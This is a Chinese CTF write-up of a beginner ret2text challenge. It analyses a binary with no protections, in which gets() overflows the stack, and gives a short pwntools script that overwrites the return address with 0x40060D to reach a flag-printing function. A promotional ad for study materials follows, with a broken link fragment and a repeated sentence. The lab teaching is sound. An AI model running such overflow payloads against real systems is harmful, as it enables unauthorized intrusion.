一、基本思路
1.checksec一下
还是一道没有开启任何保护的题目,暂且归类为简单题
2.ida分析一下
我们看到主函数朴实无华地给出了危险函数gets(),同时还有主函数直接returngets的内容,这里思路就到达ret2text的线上
然后我们再翻一翻,找一找,有个sub_40060D的函数,进去一看,不得了不得了,我们的payload直接利用sub_40060D函数就行了,甚至不需要获取shell权限,地址在反编译之前可以在函数末尾看见的,就不做展示了
二、构造exp
1.exp代码展示
#!/usr/bin/python3 ##这个是我使用虚拟机里面python的地址,大家自行调整
from pwn import*
io=remote("node5.buuoj.cn",端口)
payload=b'a'*(4*16+8)+p64(0x40060D)
io.sendline(payload)
io.interactive()
解释一下这里填充数据为什么是4*16,我们在ida里面双击v5这个字符进入栈区一看,它是在s的基础上,从0到40的var_40占用的是4*16个字节的空间,+8是因为64位文件的rbp需要填充
2.运行结果
由于文件的漏洞函数直接打开了flag文件,所以我们直接得到了flag的交互
三、小结一下
总的来说,这个题目的漏洞十分明显并且方便利用,对于刚入门来说还是非常友好了。
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
et/topics/618653875)
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!